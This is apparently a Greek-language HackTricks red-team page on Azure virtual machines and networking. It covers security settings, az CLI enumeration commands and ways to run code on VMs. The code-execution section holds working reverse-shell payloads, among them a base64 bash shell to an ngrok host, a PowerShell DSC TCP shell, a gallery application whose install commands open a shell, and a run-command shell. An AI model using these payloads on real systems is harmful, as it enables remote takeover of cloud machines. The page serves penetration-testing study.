Az - Εικονικές Μηχανές & Δίκτυο

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες Δικτύωσης Azure

Τα δίκτυα Azure περιέχουν διαφορετικές οντότητες και τρόπους διαμόρφωσης. Μπορείτε να βρείτε σύντομες περιγραφές, παραδείγματα και εντολές αρίθμησης των διαφορετικών οντοτήτων δικτύου Azure στο:

Az - Azure Network

Βασικές πληροφορίες για VMs

Οι Εικονικές Μηχανές (VMs) Azure είναι ευέλικτοι, κατά παραγγελία διακομιστές cloud που σας επιτρέπουν να εκτελείτε λειτουργικά συστήματα Windows ή Linux. Σας επιτρέπουν να αναπτύσσετε εφαρμογές και φόρτους εργασίας χωρίς να διαχειρίζεστε φυσικό υλικό. Οι VMs Azure μπορούν να διαμορφωθούν με διάφορες επιλογές CPU, μνήμης και αποθήκευσης για να καλύψουν συγκεκριμένες ανάγκες και να ενσωματωθούν με υπηρεσίες Azure όπως εικονικά δίκτυα, αποθήκευση και εργαλεία ασφαλείας.

Ρυθμίσεις Ασφαλείας

  • Ζώνες Διαθεσιμότητας: Οι ζώνες διαθεσιμότητας είναι διακριτές ομάδες κέντρων δεδομένων εντός μιας συγκεκριμένης περιοχής Azure που είναι φυσικά διαχωρισμένες για να ελαχιστοποιήσουν τον κίνδυνο να επηρεαστούν πολλές ζώνες από τοπικές διακοπές ή καταστροφές.
  • Τύπος Ασφαλείας:
  • Τυπική Ασφάλεια: Αυτός είναι ο προεπιλεγμένος τύπος ασφάλειας που δεν απαιτεί καμία συγκεκριμένη διαμόρφωση.
  • Εμπιστευμένη Εκκίνηση: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
  • Εμπιστευτικές VMs: Εκτός από μια εμπιστευμένη εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκου και περισσότερα.
  • Αυθεντικοποίηση: Από προεπιλογή, μια νέα κλειδαριά SSH δημιουργείται, αν και είναι δυνατή η χρήση ενός δημόσιου κλειδιού ή η χρήση προηγούμενου κλειδιού και το όνομα χρήστη από προεπιλογή είναι azureuser. Είναι επίσης δυνατή η διαμόρφωση για χρήση κωδικού πρόσβασης.
  • Κρυπτογράφηση δίσκου VM: Ο δίσκος κρυπτογραφείται σε κατάσταση αδράνειας από προεπιλογή χρησιμοποιώντας ένα κλειδί που διαχειρίζεται η πλατφόρμα.
  • Είναι επίσης δυνατή η ενεργοποίηση της Κρυπτογράφησης στον host, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης (docs).
  • Ομάδα ασφαλείας δικτύου NIC:
  • Καμία: Βασικά ανοίγει κάθε θύρα
  • Βασική: Επιτρέπει την εύκολη ανοίγμα των εισερχόμενων θυρών HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Προηγμένη: Επιλέξτε μια ομάδα ασφαλείας
  • Αντίγραφο ασφαλείας: Είναι δυνατή η ενεργοποίηση Τυπικής αντιγράφου ασφαλείας (μία την ημέρα) και Ενισχυμένης (πολλαπλές ανά ημέρα)
  • Επιλογές οργάνωσης ενημερώσεων: Αυτό επιτρέπει την αυτόματη εφαρμογή ενημερώσεων στις VMs σύμφωνα με την επιλεγμένη πολιτική όπως περιγράφεται στα docs.
  • Ειδοποιήσεις: Είναι δυνατή η αυτόματη λήψη ειδοποιήσεων μέσω email ή εφαρμογής κινητού όταν συμβαίνει κάτι στη VM. Προεπιλεγμένοι κανόνες:
  • Το ποσοστό CPU είναι μεγαλύτερο από 80%
  • Οι διαθέσιμες μνήμες Bytes είναι λιγότερες από 1GB
  • Το ποσοστό κατανάλωσης IOPS Δίσκων Δεδομένων είναι μεγαλύτερο από 95%
  • Το ποσοστό κατανάλωσης IOPS OS είναι μεγαλύτερο από 95%
  • Το συνολικό δίκτυο είναι μεγαλύτερο από 500GB
  • Το συνολικό δίκτυο εξόδου είναι μεγαλύτερο από 200GB
  • Το VmAvailabilityMetric είναι λιγότερο από 1
  • Παρακολούθηση υγείας: Από προεπιλογή ελέγχει το πρωτόκολλο HTTP στην θύρα 80
  • Κλειδώματα: Επιτρέπει το κλείδωμα μιας VM ώστε να μπορεί να διαβαστεί μόνο (ReadOnly lock) ή να μπορεί να διαβαστεί και να ενημερωθεί αλλά όχι να διαγραφεί (CanNotDelete lock).
  • Οι περισσότερες πόροι που σχετίζονται με VM υποστηρίζουν επίσης κλειδώματα όπως δίσκοι, στιγμιότυπα…
  • Τα κλειδώματα μπορούν επίσης να εφαρμοστούν σε επίπεδα ομάδας πόρων και συνδρομής

Δίσκοι & στιγμιότυπα

  • Είναι δυνατή η ενεργοποίηση της προσάρτησης ενός δίσκου σε 2 ή περισσότερες VMs
  • Από προεπιλογή, κάθε δίσκος είναι κρυπτογραφημένος με ένα κλειδί πλατφόρμας.
  • Το ίδιο ισχύει και για τα στιγμιότυπα
  • Από προεπιλογή είναι δυνατή η κοινή χρήση του δίσκου από όλα τα δίκτυα, αλλά μπορεί επίσης να περιοριστεί μόνο σε ορισμένες ιδιωτικές προσβάσεις ή να απενεργοποιηθεί εντελώς η δημόσια και ιδιωτική πρόσβαση.
  • Το ίδιο ισχύει και για τα στιγμιότυπα
  • Είναι δυνατή η δημιουργία ενός SAS URI (μέγιστο 60 ημέρες) για εξαγωγή του δίσκου, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
  • Το ίδιο ισχύει και για τα στιγμιότυπα
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Εικόνες, Γκαλερί Εικόνων & Σημεία Επαναφοράς

Μια εικόνα VM είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για τη δημιουργία μιας νέας εικονικής μηχανής (VM). Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο αναγνώσιμη, χρονικά καθορισμένη αντιγραφή ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωση, ενώ μια εικόνα μπορεί να περιέχει πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs.
Οι εικόνες μπορούν να διαχειρίζονται στην ενότητα Εικόνες του Azure ή μέσα σε γκαλερί υπολογιστών Azure, οι οποίες επιτρέπουν τη δημιουργία εκδόσεων και κοινοποίηση της εικόνας διασυνοριακά ή ακόμη και να την κάνουν δημόσια.

Ένα σημείο επαναφοράς αποθηκεύει τη διαμόρφωση της VM και χρονικά καθορισμένα στιγμιότυπα εφαρμογής-συνεπούς όλων των διαχειριζόμενων δίσκων που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνο το συγκεκριμένο χρονικό σημείο.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Από τα docs: Το Site Recovery βοηθά στην εξασφάλιση της επιχειρηματικής συνέχειας διατηρώντας τις επιχειρηματικές εφαρμογές και τα φορτία εργασίας σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery αντιγράφει τα φορτία εργασίας που εκτελούνται σε φυσικές και εικονικές μηχανές (VMs) από μια κύρια τοποθεσία σε μια δευτερεύουσα τοποθεσία. Όταν συμβαίνει μια διακοπή στην κύρια τοποθεσία σας, μεταβαίνετε σε μια δευτερεύουσα τοποθεσία και αποκτάτε πρόσβαση στις εφαρμογές από εκεί. Αφού η κύρια τοποθεσία είναι ξανά σε λειτουργία, μπορείτε να επιστρέψετε σε αυτήν.

Azure Bastion

Το Azure Bastion επιτρέπει ασφαλή και απρόσκοπτη Remote Desktop Protocol (RDP) και Secure Shell (SSH) πρόσβαση στις εικονικές μηχανές (VMs) σας απευθείας μέσω του Azure Portal ή μέσω ενός jump box. Με την εξάλειψη της ανάγκης για δημόσιες διευθύνσεις IP στις VMs σας.

Το Bastion αναπτύσσει ένα υποδίκτυο που ονομάζεται AzureBastionSubnet με μάσκα δικτύου /26 στο VNet που χρειάζεται για να λειτουργήσει. Στη συνέχεια, επιτρέπει να συνδεθείτε σε εσωτερικές VMs μέσω του προγράμματος περιήγησης χρησιμοποιώντας RDP και SSH, αποφεύγοντας την έκθεση θυρών των VMs στο Διαδίκτυο. Μπορεί επίσης να λειτουργήσει ως jump host.

Για να καταγράψετε όλους τους Azure Bastion Hosts στην εγγραφή σας και να συνδεθείτε σε VMs μέσω αυτών, μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Μεταδεδομένα

Η Υπηρεσία Μεταδεδομένων Εγκαταστάσεων Azure (IMDS) παρέχει πληροφορίες σχετικά με τις τρέχουσες εικονικές μηχανές για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, εξασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να εξασφαλίσουν σωστή επικοινωνία.

Επιπλέον, για να επικοινωνήσετε με το σημείο τερματισμού μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα Metadata: true και δεν πρέπει να έχει την κεφαλίδα X-Forwarded-For.

Δείτε πώς να το απαριθμήσετε στο:

Cloud SSRF - HackTricks

Απαρίθμηση VM

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Εκτέλεση Κώδικα σε VMs

Επεκτάσεις VM

Οι επεκτάσεις VM του Azure είναι μικρές εφαρμογές που παρέχουν διαμόρφωση μετά την ανάπτυξη και αυτοματοποιημένες εργασίες σε εικονικές μηχανές (VMs) του Azure.

Αυτό θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα μέσα σε VMs.

Η απαιτούμενη άδεια είναι Microsoft.Compute/virtualMachines/extensions/write.

Είναι δυνατή η καταγραφή όλων των διαθέσιμων επεκτάσεων με:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Είναι δυνατόν να εκτελέσετε προσαρμοσμένες επεκτάσεις που εκτελούν προσαρμοσμένο κώδικα:

  • Εκτελέστε ένα reverse shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Εκτελέστε ένα σενάριο που βρίσκεται στο διαδίκτυο
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Σχετικές επεκτάσεις VM

Η απαιτούμενη άδεια είναι ακόμα Microsoft.Compute/virtualMachines/extensions/write.

Επέκταση VMAccess

Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Αυτή είναι μια επέκταση VM που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να εκτελεί αυθαίρετες εντολές σε Windows VMs μέσω αυτής της επέκτασης:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Υβριδικός Εργαζόμενος Runbook

Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία Automation Accounts.

Εφαρμογές VM

Αυτά είναι πακέτα με όλα τα δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης που μπορούν να χρησιμοποιηθούν για να προσθέσουν και να αφαιρέσουν εύκολα εφαρμογές σε VMs.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Αυτές είναι οι διαδρομές όπου οι εφαρμογές κατεβαίνουν μέσα στο σύστημα αρχείων:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Δείτε πώς να εγκαταστήσετε νέες εφαρμογές στο https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

Είναι δυνατόν να μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο λογισμικό σε μια εφαρμογή και να μεταβεί σε άλλες συνδρομές και ενοικιαστές.

Αλλά δεν υπάρχει “αγορά” για εφαρμογές vm όπως υπάρχει για τις επεκτάσεις.

Οι απαιτούμενες άδειες είναι:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Παράδειγμα εκμετάλλευσης για την εκτέλεση αυθαίρετων εντολών:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Δεδομένα χρήστη

Αυτά είναι μόνιμα δεδομένα που μπορούν να ανακτηθούν από το σημείο μεταδεδομένων οποιαδήποτε στιγμή. Σημειώστε ότι στο Azure τα δεδομένα χρήστη είναι διαφορετικά από το AWS και το GCP επειδή αν τοποθετήσετε ένα σενάριο εδώ, δεν εκτελείται από προεπιλογή.

Προσαρμοσμένα δεδομένα

Είναι δυνατόν να περάσετε κάποια δεδομένα στη VM που θα αποθηκευτούν σε αναμενόμενους διαδρόμους:

  • Στα Windows, τα προσαρμοσμένα δεδομένα τοποθετούνται στο %SYSTEMDRIVE%\AzureData\CustomData.bin ως δυαδικό αρχείο και δεν επεξεργάζονται.
  • Στο Linux, αποθηκεύονταν στο /var/lib/waagent/ovf-env.xml και τώρα αποθηκεύονται στο /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με τα δεδομένα ενεργοποιημένα
  • cloud-init: Από προεπιλογή επεξεργάζεται προσαρμοσμένα δεδομένα και αυτά τα δεδομένα μπορεί να είναι σε διάφορες μορφές. Μπορεί να εκτελέσει ένα σενάριο εύκολα στέλνοντας απλώς το σενάριο στα προσαρμοσμένα δεδομένα.
  • Δοκίμασα ότι τόσο το Ubuntu όσο και το Debian εκτελούν το σενάριο που τοποθετείτε εδώ.
  • Δεν είναι επίσης απαραίτητο να ενεργοποιήσετε τα δεδομένα χρήστη για να εκτελεστεί αυτό.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Εκτέλεση Εντολής

Αυτός είναι ο πιο βασικός μηχανισμός που παρέχει το Azure για την εκτέλεση αυθαίρετων εντολών σε VMs. Η απαιτούμενη άδεια είναι Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Ανύψωση Δικαιωμάτων

Az - Virtual Machines & Network Privesc

Μη Αυθεντικοποιημένη Πρόσβαση

Az - VMs Unauth

Μετά την Εκμετάλλευση

Az - VMs & Network Post Exploitation

Επιμονή

Az - VMs Persistence

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks